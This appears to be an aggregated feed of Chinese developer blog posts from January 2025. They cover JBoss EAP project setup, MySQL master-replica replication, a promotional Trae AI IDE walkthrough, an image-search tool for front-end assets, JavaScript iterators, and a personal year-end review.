新建项目(如果只是为了测试锻炼的话--Jboss8)

可参考官网:为 JBoss EAP 部署开发应用程序入门

懒得看官网的:新建一个maven项目或者springboot项目,导入下面的pom文件,以及java文件然后打包测试就好了

或者gitee拉取我搭的 maven版本:gitee.com/its-a-littl… springboot3 + jdk17版本:gitee.com/its-a-littl…

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.jboss.as.quickstarts</groupId>
    <artifactId>jboss8</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>


    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <version.server>8.0.0.GA-redhat-00009</version.server>
        <version.bom.ee>${version.server}</version.bom.ee>
        <version.plugin.wildfly>4.1.1.Final</version.plugin.wildfly>
        <version.plugin.war>3.3.2</version.plugin.war>
        <finalName>${project.artifactId}</finalName>
    </properties>

    <build>
        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>org.wildfly.plugins</groupId>
                    <artifactId>wildfly-maven-plugin</artifactId>
                    <version>${version.plugin.wildfly}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-war-plugin</artifactId>
                    <version>${version.plugin.war}</version>
                    <configuration>
                        <failOnMissingWebXml>false</failOnMissingWebXml>
                        <!-- 如果你有一个已有的 web.xml 文件,可以使用以下配置 -->
<!--                         <webxml>src/main/webapp/WEB-INF/web.xml</webxml> -->
                    </configuration>
                </plugin>
            </plugins>

        </pluginManagement>
    </build>

    <repositories>
        <repository>
            <id>jboss-public-maven-repository</id>
            <name>JBoss Public Maven Repository</name>
            <url>https://repository.jboss.org/nexus/content/groups/public/</url>
            <releases>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </releases>
            <snapshots>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </snapshots>
            <layout>default</layout>
        </repository>
        <repository>
            <id>redhat-ga-maven-repository</id>
            <name>Red Hat GA Maven Repository</name>
            <url>https://maven.repository.redhat.com/ga/</url>
            <releases>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </releases>
            <snapshots>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </snapshots>
            <layout>default</layout>
        </repository>
    </repositories>

    <pluginRepositories>
        <pluginRepository>
            <id>jboss-public-maven-repository</id>
            <name>JBoss Public Maven Repository</name>
            <url>https://repository.jboss.org/nexus/content/groups/public/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </pluginRepository>
        <pluginRepository>
            <id>redhat-ga-maven-repository</id>
            <name>Red Hat GA Maven Repository</name>
            <url>https://maven.repository.redhat.com/ga/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </pluginRepository>
    </pluginRepositories>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.jboss.bom</groupId>
                <artifactId>jboss-eap-ee-with-tools</artifactId>
                <version>${version.bom.ee}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>


    <dependencies>
        <dependency>
            <groupId>jakarta.servlet</groupId>
            <artifactId>jakarta.servlet-api</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.websocket</groupId>
            <artifactId>javax.websocket-api</artifactId>
            <version>1.0</version>
            <scope>provided</scope>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>javax.servlet</groupId>-->
<!--            <artifactId>javax.servlet-api</artifactId>-->
<!--            <version>4.0.1</version>-->
<!--            <scope>provided</scope>-->
<!--        </dependency>-->
    </dependencies>

</project>

新建一个HelloWorldServlet去进行测试

package org.jboss.as.quickstarts.helloworld;

import java.io.IOException;
import java.io.PrintWriter;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

@WebServlet("/HelloWorld")
public class HelloWorldServlet extends HttpServlet {

    static String PAGE_HEADER = "<html><head><title>helloworld</title></head><body>";

    static String PAGE_FOOTER = "</body></html>";

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        PrintWriter writer = resp.getWriter();
        writer.println(PAGE_HEADER);
        writer.println("<h1> Hello World! </h1>");
        writer.println(PAGE_FOOTER);
        writer.close();
    }
}

改一下jsp快速测试

<html>
<head>
    <meta http-equiv="Refresh" content="0; URL=HelloWorld">
</head>
</html>

by 来一杯龙舌兰 at January 22, 2025 09:30 AM

MySQL主从复制(Replication)架构概述

MySQL主从复制(Replication)架构概述

MySQL主从复制(Replication)简介

MySQL主从复制(Replication)指的是两台或以上数据库实例服务器,通过二进制日志实现数据的"同步"关系。

需要注意的是,MySQL主从复制并不是说其工作模式是同步的,实际上,MySQL主从复制(Replication)是一个异步工作模式。

MySQL主从复制(Replication)的前提

(1)需要2台以上数据库实例,时间同步,网络通畅,server_id不同,区分不同角色(即主库和从库);

(2)主库开启binlog,建立专用复制用户;

(3)从库需要提前"补课"(将之前"落下"的数据补全),如果主库也是没数据的,这一步可以省略;

(4)从库需要确认主库的链接信息,复制起点等;

(5)从库需要开启专用的复制线程;

MySQL主从复制(Replication)架构中应用的文件和线程资源

主从复制中涉及到的资源

主库:
(1)binlog文件
默认存储在数据目录下,用于存储用户的操作记录,我们可以基于"log_bin_basename"来制定存储的路径及文件名前缀。
mysql> SELECT @@log_bin;
+-----------+
| @@log_bin |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)


mysql> SELECT @@log_bin_basename;
+---------------------------------+
| @@log_bin_basename              |
+---------------------------------+
| /usr/local/mysql/logs/mysql-bin |
+---------------------------------+
1 row in set (0.00 sec)

我们可以不配置"log_bin_basename"参数,但"log_bin"参数的值必须为1,表示开启状态。否则主从复制将无法进行!



从库:
(1)relay-log文件:
作用: 用于接收存储binlog,也称为"中继日志"。
默认存储路径: 默认存储在数据目录下。
手动定义存储路径: 如下所示,我们可以基于"relay_log_basename"来手动指定存储路径。
mysql> SELECT @@relay_log_basename;
+-----------------------------------------------+
| @@relay_log_basename                          |
+-----------------------------------------------+
| /usr/local/mysql/data/mysql57-slove-relay-bin |
+-----------------------------------------------+
1 row in set (0.01 sec)
如果我们在配置文件中不指定"relay_log_basename"参数,则默认的文件名为"docker201-relay-bin.000001,docker201-relay-bin.000002,docker201-relay-bin.000003,..."

(2)master.info文件:
作用:用于存储主库的链接信息,已经接受的binlog位置点信息等数据。
默认存储路径:默认存储在数据目录下。
手动定义存储路径: 如下所示,我们可以基于"master_info_repository"来手动指定该文件存储位置。默认以文件方式存储,我们也可以将其存储在MySQL的表中以提升性能。
mysql> SELECT @@master_info_repository;

(3)relay-log.info文件:
作用:从库会单独开启一个I/O线程从主库拉取二进制日志并存储中继日志(上面提到的"relay-log"文件)中,而后从库开启一个SQL线程基于中继日志进行回放,以达到和主库同样的数据。而relay-log.info文件就是用于记录从库回放到relay-log的位置点,这是为了防止从库突然宕机后,重启服务器后知道上一次回放的位置点,而后基于该记录的位置点继续往下执行SQL。
默认存储路径:默认存储在数据目录下。
手动定义存储路径:如下所示,我们可以基于"relay_log_info_repository"来手动指定该文件存储位置。默认以文件方式存储,我们也可以将其存储在MySQL的表中以提升性能。
mysql> SELECT @@relay_log_info_repository ;
                  

主从复制中涉及到的线程资源

主库:
binlog_dump线程:
作用:用来接收从库请求,并且投递binlog给从库。
查看方式:
mysql>  SHOW PROCESSLIST;
+----+------+----------------------+------+-------------+------+---------------------------------------------------------------+------------------+
| Id | User | Host                 | db   | Command     | Time | State                                                         | Info             |
+----+------+----------------------+------+-------------+------+---------------------------------------------------------------+------------------+
|  3 | repl | 100.100.137.11:44984 | NULL | Binlog Dump |  338 | Master has sent all binlog to slave; waiting for more updates | NULL             |
|  4 | root | localhost            | NULL | Query       |    0 | starting                                                      | SHOW PROCESSLIST |
+----+------+----------------------+------+-------------+------+---------------------------------------------------------------+------------------+
2 rows in set (0.01 sec)



从库:
IO线程:用于向主库请求,接收和存储binlog日志。
SQL线程:用于回放中继日志(上面提到的"relay-log"文件),执行"relay-log"文件的SQL语句并将执行的位置点记录在"relay-log.info"文件中。
查看方式:         
SHOW SLAVE STATUS\G;                

MySQL主从复制(Replication)架构原理

(1)从库执行"CHANGE MASTER TO ..."命令,执行命令成功后会将这些主库的链接信息记录在"master.info"文件中;

(2)执行"START SLAVE"命令后,从库会开启IO线程和SQL线程这两个线程,其中IO线程负责发送请求到主库,有关主库的链接信息在"master.info"文件中都有记录;

(3)主库分配了一个binlog_dump线程来响应从库的IO线程,我们可以通过"SHOW PROCESSLIST"命令来查看响应的binlog_dump线程;

(4)从库的IO线程会请求新日志,有关向主库请求的日志位置点信息在"master.info"文件中都有记录;

(5)主库的binlog_dump线程接收从库的IO线程请求后,会截取主库的二进制日志文件,并将结果返回给从库的IO线程;

(6)从库的IO线程接收到主库的binlog后,日志先发送到网卡的缓存区域中,此时由网络层返回ACK给主库,主库工作完成;

(7)从库的IO线程最终会将数据从网卡的缓冲区拉取并写入中继日志文件(上面提到的"relay-log"文件)中以落地到本地磁盘,于此同时会更新"master.info"文件中记录的位置点信息,以便于下一次从库IO线程知道从哪个位置点请求"新日志",I/O线程工作完成。

(8)从库的SQL线程读取"relay-log.info"文件,获取上一次中继日志文件(上面提到的"relay-log"文件)执行到的位置点;

(9)从库的SQL线程根据上一步获得中继日志文件(上面提到的"relay-log"文件)的位置点后,在该位置点继续向后执行新的"relay-log"日志,而后会更新"relay-log.info"文件,,以便于下一次从库SQL线程知道从哪个位置点读取"新日志",主从复制流程基本结束。

MySQL的主从复制(Replication)部署

  1. 配置主配置文件和从配置文件
主配置:
[root@mysql57-master data]# cat /etc/my.cnf
[mysqld]
server-id=1
log-bin=/usr/local/mysql/logs/mysql-bin.log
[root@mysql57-master mysql]# mkdir /usr/local/mysql/logs
[root@mysql57-master mysql]# cd /usr/local/mysql/logs
[root@mysql57-master logs]# touch mysql-bin.log
[root@mysql57-master logs]# chown -R mysql:mysql /usr/local/mysql/logs
[root@mysql57-master data]# systemctl restart mysqld


从配置:
[root@mysql57-slove mysql]# cat /etc/my.cnf
[mysqld]
server-id=2
log-bin=/usr/local/mysql/logs/mysql-bin.log
[root@mysql57-slove mysql]#  mkdir /usr/local/mysql/logs
[root@mysql57-slove mysql]# cd /usr/local/mysql/logs
[root@mysql57-slove logs]# touch mysql-bin.log
[root@mysql57-slove logs]# chown -R mysql:mysql /usr/local/mysql/logs
[root@mysql57-slove logs]# systemctl restart mysqld
  1. 主库建立复制用户
MySQL 8.0之前版本创建复制用户:
mysql> GRANT REPLICATION SLAVE ON *.* TO repl@'100.100.137.%' IDENTIFIED BY '1qaz!QAZ';
Query OK, 0 rows affected, 1 warning (0.02 sec)

MySQL 8.0之后版本创建复制用户:
CREATE USER copy@'172.200.1.%' IDENTIFIED BY '1qaz!QAZ';
GRANT REPLICATION SLAVE ON *.* TO copy@'172.200.1.%';
  1. 主库备份恢复到从库,如果建立主从之前主库里面有数据,需要做此操作。
mysqldump -uroot -p'1qaz!QAZ' -A --master-data=2 --single-transaction > /tmp/all_db.sql
mysql  -uroot -p'1qaz!QAZ'  < /tmp/all_db.sql 
  1. 主库查看二进制日志坐标,从库建立连接
mysql> show master status ;
+------------------+----------+--------------+------------------+-------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+------------------+-------------------+
| mysql-bin.000002 |      449 |              |                  |                   |
+------------------+----------+--------------+------------------+-------------------+
1 row in set (0.01 sec)
file : 从哪个日志文件开始推送日志文件
position : 从哪个位置开始推送日志
binlog_ignore_db : 指定不需要同步的数据库


从库建立主库的连接信息,并确定复制的起点
mysql>  CHANGE MASTER TO  MASTER_HOST='100.100.137.10', MASTER_USER='repl', MASTER_PASSWORD='1qaz!QAZ' , MASTER_PORT=3306, MASTER_LOG_FILE='mysql-bin.000002' ,MASTER_LOG_POS=449, MASTER_CONNECT_RETRY=10;
Query OK, 0 rows affected, 2 warnings (0.04 sec)
  1. 从库开启专用的复制线程
mysql> START SLAVE;
Query OK, 0 rows affected (0.02 sec)
  1. 验证主从复制状态
SHOW SLAVE STATUS\G
果有两个"yes"说明主从复制环境部署完毕。
            Slave_IO_Running: Yes
            Slave_SQL_Running: Yes
  1. 如果主从复制搭建不成功,可以重置主从配置信息,而后重做上述操作。
重置主从复制的配置信息:
STOP SLAVE;
RESET SLAVE ALL;

主从复制中从库的线程管理

启动从库IO线程和SQL线程
START SLAVE;

停止从库IO线程和SQL线程
STOP SLAVE;

只启动从库的SQL线程
START SLAVE SQL_THREAD;

只启动从库的IO线程
START SLAVE IO_THREAD;

只停止从库的SQL线程
STOP SLAVE SQL_THREAD;

只停止从库的IO线程
STOP SLAVE IO_THREAD;

解除从库身份

STOP SLAVE;  # 在接触从库之前,需要先停止所有的线程,即IO线程和SQL线程
RESET SLAVE ALL;  # 解除从库的所有配置
SHOW SLAVE STATUS\G  # 解除后再次查看从库的状态,不难发现,从库的状态信息为空了。

by Full_Stack_zqf at January 22, 2025 09:28 AM

juejin freebie

Cursor太贵?字节Trae可免费用Claude,10分钟带你实现全栈开发

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

作为一名开发者,你是否曾为了提高开发效率,尝试过各种AI编程工具

或者你不会开发,但想借助AI编程将自己的想法落地

Cursor无疑是其中的佼佼者,但其高昂的订阅费用也让不少开发者望而却步。

现在,你的福音来了!字节跳动推出了一款全新的AI IDE——Trae。它不仅提供了原生中文支持人性化的交互体验,更令人惊喜的是,Trae默认标配了强大的Claude 3.5和GPT4.0,并且目前处于限时无限量免费使用阶段!

图片

这意味着你可以零成本体验到AI驱动的编程加速,大幅提升开发效率。

Trae的优势不仅仅在于免费使用Claude 3.5和GPT4.0。它还具备以下亮点:

  • • 强大的Builder功能:  可以从零开始开发完整的项目。AI根据开发者需求,自动调用一系列工具来响应指令,精准拆解任务,确保开发过程高效。
  • • 全中文界面和本地化设计:  为中文开发者提供了更加流畅的开发体验,即使是不懂代码的初学者也能轻松上手。
  • • 集成常用开发工具和插件:  支持从VS Code或Cursor进行配置迁移,降低迁移成本。

为了让大家更直观地了解Trae的强大功能,我将在10分钟开发一个目前在小红书最火的《给老外起中文名字》网站。

先给大家看看成品,分别是电脑端和手机端看的效果。

图片

图片

接下来我们开始实操,首先是安装和注册Trae,目前只支持Mac

官网地址:
www.trae.ai/home

接着新建一个文件夹,命名为“给老外起中文名字”。在Trae中打开这个文件夹,并在右方切换到“Builder”模式

图片

接着输入提示词,提示词如下:

产品愿景:
开发一款基于Web的智能英文名转中文名推荐系统,旨在为外国友人提供兼具文化内涵和个性化的中文姓名方案。系统以简洁的英文界面呈现,并为每个推荐的中文名提供详尽的文化解读,帮助用户深入了解中国传统文化中姓名的寓意。

核心功能:
1. 智能中文名生成:
  - 输入:用户的英文名(支持单独的名或“姓+名”格式)。
  - 输出:三个独特的中文名方案,每个方案需满足以下标准:
    - 发音相似性:尽可能在发音上贴近原英文名。
    - 符合规范:遵循中国传统的起名习惯和规范。
    - 寓意美好:名字的字义优美,组合得当,寓意积极向上。
    - 文化恰当性:避免任何文化禁忌或不恰当的含义。

2. 文化解读(针对每个推荐的中文名):
  - 单字释义:逐个解释名字中每个汉字的含义。
  - 整体寓意:阐述整个名字的综合寓意。
  - 文化内涵:解释名字所蕴含的中国传统文化元素。
  - 个性特质:描述该名字所暗示的性格特征。
  - 英文翻译:提供针对名字寓意的清晰英文解释,方便外国用户理解。

3. 用户体验:
  - 简洁界面:界面设计简洁直观,易于操作。
  - 便捷流程:用户完成姓名转换的操作步骤不超过三步。
  - 清晰展示:结果清晰易懂地呈现给用户。
  - 增强功能:支持用户收藏和导出喜欢的名字方案。

示例效果:
输入:Michael
输出示例:
1. 米凯乐 (Mi Kai Le)
   - 寓意:凯旋欢乐
   - 英文解释:One who brings joy and triumph
   - 文化内涵:象征积极向上,充满活力

2. 明凯洛 (Ming Kai Luo)
   - 寓意:聪明开朗
   - 英文解释:Bright and cheerful spirit
   - 文化内涵:展现智慧与开放的胸怀

3. 麦克龙 (Mai Ke Long)
   - 寓意:卓越非凡
   - 英文解释:Distinguished and extraordinary
   - 文化内涵:体现独特个性与远大志向

核心价值:
  - 提供个性化、富有文化内涵的中文名字选择。
  - 促进中外文化交流与理解。

Trae自动生成代码文件,生成完成后,我们需要点击“全部接受”,然后点击“运行”。

图片

运行后打开网站,显示报错了,所以我让它修改。

图片

这个问题修复后,再次运行,出现了新问题,我把问题复制给它修改。

图片

这次修复后,就正常运行啦。

图片

可以看到目前的样式不美观,因此我让它进行修改。

图片

修改后样式好看很多。

image.png 现在也快春节啦,因此我继续让它把UI设计得喜庆一些。

同时,接入大模型进行智能生成,我用的是智谱的GLM-4。提示词如下。

我想使用智谱AI的大模型GLM-4 flash,通过大模型生成姓名。我的API Key是……。请你帮我:

1.  仔细思考并设计合适的Prompt,以确保生成的姓名符合我期望的格式(例如:中文姓名、英文姓名等,以及是否需要考虑寓意等因素)。
2.  根据智谱AI的API文档(<https://bigmodel.cn/dev/api/normal-model/glm-4>)和我的API Key,对接GLM-4 flash模型,并进行测试。

请先确认是否可以完成以上任务,然后再开始实际操作。

图片

我们可以看到它生成的提示词,这次一次生成就可以成功运行啦。

图片

图片

通过这个简单的例子,我们可以看到Trae在提高开发效率方面的巨大潜力。即使是全栈项目,Trae也能通过其强大的AI能力,帮助我们快速搭建原型,完成开发。

Cursor最近不太稳定,免费额度也有限。Trae的出现填补了这一空白,让更多人能够享受到AI带来的便利。

如果你正在寻找一款Cursor的替代品,或者想要体验AI驱动的编程新方式,不妨试试Trae,相信它会给你带来意想不到的惊喜!

今年,或许就是AI编程普及应用的开始!

如果觉得不错,随手点个赞吧,如果想第一时间收到推送,也可以关注下我~谢谢你看我的文章,我们,下次再见。

by 多森 at January 22, 2025 09:28 AM

【以图搜图】写了个工具用来查找前端项目中已存在的图片

在做前端项目时,往往需要导入图片资源,有些常用图标在以前可能就导入过,但很难记起导入到哪个文件夹以及图标名称是什么。通过这个工具,可以帮你快速检索出已有资源

Icon Finder

🌐 在线访问: iconfinder.vercel.app

一个基于图像相似度搜索的图标/图片查找工具,支持形状、颜色的智能匹配,可以帮助你在大量图片中快速找到相似的图片。

好用的话可以给github仓库点个star噢 Github: github.com/hofens/icon…

主要功能

在这里插入图片描述

1. 图片搜索

  • 支持拖拽或选择图片文件进行搜索
  • 基于颜色和形状的相似度计算
  • 实时预览搜索结果
  • 可调节相似度阈值进行结果筛选
  • 支持按目录筛选搜索结果
  • 支持主流图片格式:JPG、JPEG、PNG、GIF、BMP、WebP、SVG

2. 目录管理

  • 浏览并选择要搜索的目录
  • 自动扫描目录中的所有图片文件
  • 支持包含/排除路径的正则表达式过滤
  • 缓存目录结构,提高后续搜索速度

3. 图片缓存

  • 自动缓存图片特征,加快搜索速度
  • 支持重建缓存功能
  • 显示缓存构建进度
  • 智能检测缓存状态,避免重复处理

4. 结果展示

  • 网格式展示搜索结果
  • 显示图片预览、文件名和相似度
  • 支持查看详细的图片信息(尺寸、大小等)
  • 可选显示颜色相似度和形状相似度详情
  • 支持图片预览放大查看

5. 其他特性

  • 支持中英文界面切换
  • 自动保存用户设置和偏好
  • 支持深色/浅色主题(跟随系统)
  • 文件拖放操作支持
  • 双击复制文件名功能

使用方法

  1. 选择目录

    • 点击"浏览"按钮选择要搜索的图片目录
    • 首次选择目录时会自动构建图片特征缓存
    • 可以在设置中配置目录过滤规则
  2. 搜索图片

    • 将图片拖入上传区域,或点击"选择文件"
    • 等待搜索完成,结果会按相似度排序显示
    • 使用相似度滑块调整匹配精度
    • 使用目录下拉框筛选特定目录的结果
  3. 查看结果

    • 点击图片查看详细信息
    • 在设置中开启"显示详细相似度信息"可查看更多信息
    • 点击预览图可放大查看
    • 双击文件名可复制
  4. 设置选项

    • 语言切换:支持中文和英文界面
    • 包含路径:设置要包含的文件路径规则
    • 排除路径:设置要排除的文件路径规则
    • 详细信息:开启/关闭相似度详细信息显示

技术特性

  • 使用 Sharp 库进行高效的图片处理
  • 实现了基于颜色直方图和形状特征的相似度计算
  • 采用多级缓存策略提高性能
  • 支持大规模图片库的高效搜索
  • 使用 Electron IPC 通信实现前后端分离
  • 算法说明见 README_ALGORITHM.md

安装和运行

开发环境

# 安装依赖
npm install

# 启动开发服务器
npm start

# 针对特定平台打包
npm run build:mac    # macOS
npm run build:win    # Windows

by hofe at January 22, 2025 09:27 AM

juejin frontend

【记一忘三二】迭代器和生成器

迭代器

介绍

迭代器是一种设计模式,通过可迭代对象的提供迭代接口获取迭代对象,依次执行迭代对象提供的方法输出值

可迭代对象其特征如下:

  • 有序性:元素具有明确的顺序
  • 连续性:元素可以按顺序连续访问

以下类型是可迭代对象

  • Array(数组)
  • Map(键值对映射)
  • Set(集合)
  • NodeList(DOM 节点列表)
  • TypedArray(类型化数组)
  • arguments(函数的参数对象)

Symbol.iterator

可迭代对象上存在Symbol.iterator方法,调用Symbol.iterator方法可以得到一个迭代器*,在通过调用迭代器next()方法可以得到一个迭代结果,包含两个属性: 迭代结果是一个对象,包含两个属性:

  • value:当前迭代到的值
  • done:布尔值,表示迭代是否结束
// 定义可迭代对象
const arr = [1, 2, 3]

// 获取迭代对象
const arrIterator = arr[Symbol.iterator]()

// 执行迭代器
arrIterator.next()  // {value: 1, done: false}
arrIterator.next()  // {value: 2, done: false}
arrIterator.next()  // {value: 3, done: false}
arrIterator.next()  // {value: undefined, done: true}

实现原理

以下是实现一个类似Symbol.iterator方法

Symbol.iterator = Symbol('Symbol.iterator')
Object.defineProperty(Array.prototype, Symbol.iterator, {
  configurable: false,
  enumerable: false,
  writable: false,
  value() {
    let index = 0
    const data = this
    return {
      next() {
        if (index < data.length) {
          return {
            value: data[index++],
            done: false,
          }
        }
        else {
          return {
            value: undefined,
          }
        }
      },
    }
  },
})

不同的迭代器

每个可迭代对象不仅提供Symbol.iterator方法,还提供了其他方法(如 keysvaluesentries),这些方法也返回迭代器对象 这些方法的具体功能如下:

  • keys():返回一个迭代器,输出数组的键(索引)。
  • values():返回一个迭代器,输出数组的值。
  • entries():返回一个迭代器,输出数组的键值对(索引和值的组合)。
// 定义可迭代对象
const arr = [1, 2, 3]

// 获取迭代器对象
const arrIterator = arr[Symbol.iterator]()
const arrKeysIterator = arr.keys()
const arrValuesIterator = arr.values()
const arrEntriesIterator = arr.entries()

// 执行迭代器
arrIterator.next() // { value: 1, done: false }
arrKeysIterator.next() // { value: 0, done: false }
arrValuesIterator.next() // { value: 1, done: false }
arrEntriesIterator.next() // { value: [ 0, 1 ], done: false }

可迭代对象中,Symbol.iterator方法实际上是 keysvalues entries 方法中的其中之一

image-20250122165115534

对象不迭代性

// 定义可迭代对象
const obj = { a: 1, b: 2, c: 3 }

// 获取迭代器对象
const objIterator = obj[Symbol.iterator]() //  obj[Symbol.iterator] is not a function

// 输出Object的迭代器接口
Object.prototype[Symbol.iterator]  // undefined

obj对象没有迭代器接口,也就无法生成迭代器对象

注:这是因为Object对象的属性没有明确的顺序

如果需要使Object对象可迭代,可以通过手动实现Symbol.iterator方法来实现

// 定义可迭代对象
const obj = { a: 1, b: 2, c: 3 }

obj[Symbol.iterator] = function () {
  const keys = Object.keys(this)
  let index = 0

  return {
    next: () => {
      if (index < keys.length) {
        return {
          value: {
            key: keys[index],
            value: this[keys[index++]],
          },
          done: false,
        }
      }
      else {
        return {
          value: undefined,
          done: true,
        }
      }
    },
  }
}

// 获取迭代器对象
const objIterator = obj[Symbol.iterator]()

// 执行迭代器
objIterator.next() // { value: { key: 'a', value: 1 }, done: false }
objIterator.next() // { value: { key: 'b', value: 2 }, done: false }
objIterator.next() // { value: { key: 'c', value: 3 }, done: false }
objIterator.next() // { value: undefined, done: true }

使用

手动迭代

这种方式并不常用,因为手动执行迭代器的次数是未知的,且需要手动检查 done 属性以判断迭代是否完成。

// 定义可迭代对象
const set = new Set([1, 2, 3])

// 获取迭代对象
const setIterator = set[Symbol.iterator]()

// 执行迭代器
console.log(setIterator.next()) // {value: 1, done: false}

循环迭代

循环迭代避免了迭代器对象执行执行次数未知的问题,但是任然需要手动判断迭代是否结束

// 定义可迭代对象
const set = new Set([1, 2, 3])

// 获取迭代对象
const setIterator = set[Symbol.iterator]()

// 执行迭代器
while (true) {
  const { value, done } = setIterator.next()
  if (done)
    break
  console.log(value)
}

在ES6中,提供了for...of循环,会自动调用被循环的对象的Symbol.iterator方法返回一个迭代器对象,然后依次调用迭代器对象next方法参与循环体的循环

// 定义可迭代对象
const set = new Set([1, 2, 3]);

// 使用循环迭代
for (const item of set) {
  console.log(item); 
}

扩展运算符

这也是ES6新增的语法,使用扩展运算符...可以展开一个可迭代对象,返回一个数组 内部是通过调用Symbol.iterator方法获取被展开对象的迭代器,后依次调用被展开对象next方法输出展开对象中的值数组

const arr = [1, 2, 3]

const copyArr2 = [...arr]

by 用泥种荷花 at January 22, 2025 09:24 AM

juejin career

2024年终总结——工作第七年

先验收下去年的年度目标吧

2023年终总结

image.png

1. 坚持每天打卡多邻国 ✅

没什么好说的,稳稳拿下,截止目前已经连续打卡 504 天。英语水平小有进步。除了多邻国外,目前还在使用豆包的 AI 练习口语,好用,爱用。

0122_3.jpg

2. 坚持减肥 ❌

减肥太难辣,不减反增,目前穿衣160斤,今年体检依然是轻度脂肪肝😣😣😣。

3. 搞点副业 ❌

没钱,没胆,没搞。

4. 年底提前还清车贷 ✅

上个月已经还清了,年前找个工作日去办贷款的银行解押,拿了绿本就可以了。

5. 618给自己配个4080s台式机 ✅

实际上在四月份底的时候就配好了,年终奖一到手立马安排。在留白店里配的,自己选想要的配件,他给出报价单,算了一下加上服务费跟自己在京东买的价格差不多,但是可以省很多事(我没装过机🤣)

0122_2.jpg

秀一波电脑,帅的不谈。

0122_3.jpg

6. 2024玩的开心 ✅

今年工作日下班时间一直在玩大乱斗,云顶之奕,周末就是跟朋友开黑玩永劫无间,永劫已经连续三个赛季上了修罗了。不过偶尔还是会焦虑,有罪恶感,觉得自己很菜,但是又不想学习😣。

总的来说,今年玩的还是挺开心的。

流水账式记录一下今年发生的事

就从过完农历年开始吧,

三月去泰国度蜜月

三月初蜜月旅行,去了普吉岛和曼谷。去之前非常担心被噶腰子,但是媳妇儿强烈要求,没办法就去了,晚上11点左右到的普吉岛机场,携程上订的机场附近酒店,大半夜的拖着箱子,穿着羽绒夹克,在二三十度的天气,步行大概1公里到了酒店,路上黑了吧唧的,全程紧张的要死,一身汗。就怕突然出来一车面包人给我俩绑了卖去KK园区。

第二天用 Grab 打车,操着一口塑料英语,好歹是到了普吉岛预定的酒店,一个国人在那边开的猫舍酒店,养了好多缅因,贼可爱。后面发现还是挺安全的,就逐渐放松了,每天就是恰饭,马杀鸡,海边躺着,恰饭,马杀鸡,海边躺着。那边海滩基本都是白人,海滩一个沙滩椅位置40RMB, 送一个椰子,随便你躺多久都行,整个人都放松了。

然后媳妇儿在小红书找了个博主,订的船票好像是什么黑珍珠号吧,记不太清了,车接车送,出海上岛去玩,现在回想起来挺后怕的,来接的时候就是那种 商务面包车,当时居然没考虑太多就上车了,来爽了两天,也是放松警惕了。要是真碰到噶腰子团队,怕是上车就被没收手机护照,卖了去园区了。

上完岛又去了海鲜市场,搞了顿海鲜大餐,900RMB的样子,店家要2100,那个小红书博主叫我们直接照着4折砍,没想到真的砍下去了,早知道照着3折砍了,那边海鲜市场的摊贩都会中文,完全无压力交流。一楼全是卖海鲜的,二楼是很多加工店铺,你付大概100RMB不到,就可以帮你加工,还送一些素菜和炒饭,超值而且味道没得说,泰国菜 yyds,特别是香辣蟹,根本吃不腻,另外那边每家店基本都有炒空心菜,他们本地人叫炒牵牛花。我到现在都怀念当时炫饭的时候,两个人一大桌子菜也就150RMB左右。

0122_2.jpg

还去普吉岛的靶场体验了一把 real gun,手枪后坐力贼大,冲锋枪跟步枪打起来基本没啥后坐力,我不是军迷,只记得手枪是 Glock,步枪大概是 Scar 那种样式的。哥们步枪上去就是一发十环,教练直呼 NB。

0122_1.jpg

最后两天去了曼谷,坐船体验了曼谷夜景,记不清游的哪条河了已经🤣,上面包自助餐,还有个本地乐队在船上表演。

在曼谷还打卡了酒店附近的一家米其林2星餐厅,我只能说无敌好吃。价格也比较合适,大概人均150RMB。在曼谷的时候安全意识已经完全不存在了,完全不管什么噶腰子 KK园区了,感觉挺安全的,晚上11点还在外面逛🤣。

最后比原计划提前一天返回上海,没办法,想我的猫猫了,必须立刻马上回来撸猫。

普通的四五六七八九月

普通打工人普通日子,基本就是上班,下班,回家,上班,下班,回家,没什么特别的,也没什么特别的事。唯一一个变化就是又一个朋友选择离开上海,回老家发展了。周末固定永劫三排变成了二缺一,容易遇到各种死了就拔插头的队友。本来应该是固定三排的,唉。

0122_1.jpg

今年露营搭子的老婆也怀孕了,另一个朋友老婆也怀孕了,可以预见的是未来一起玩的人会越来越少,随着年纪越来越大,能陪伴你到最后的只剩你的另一半。

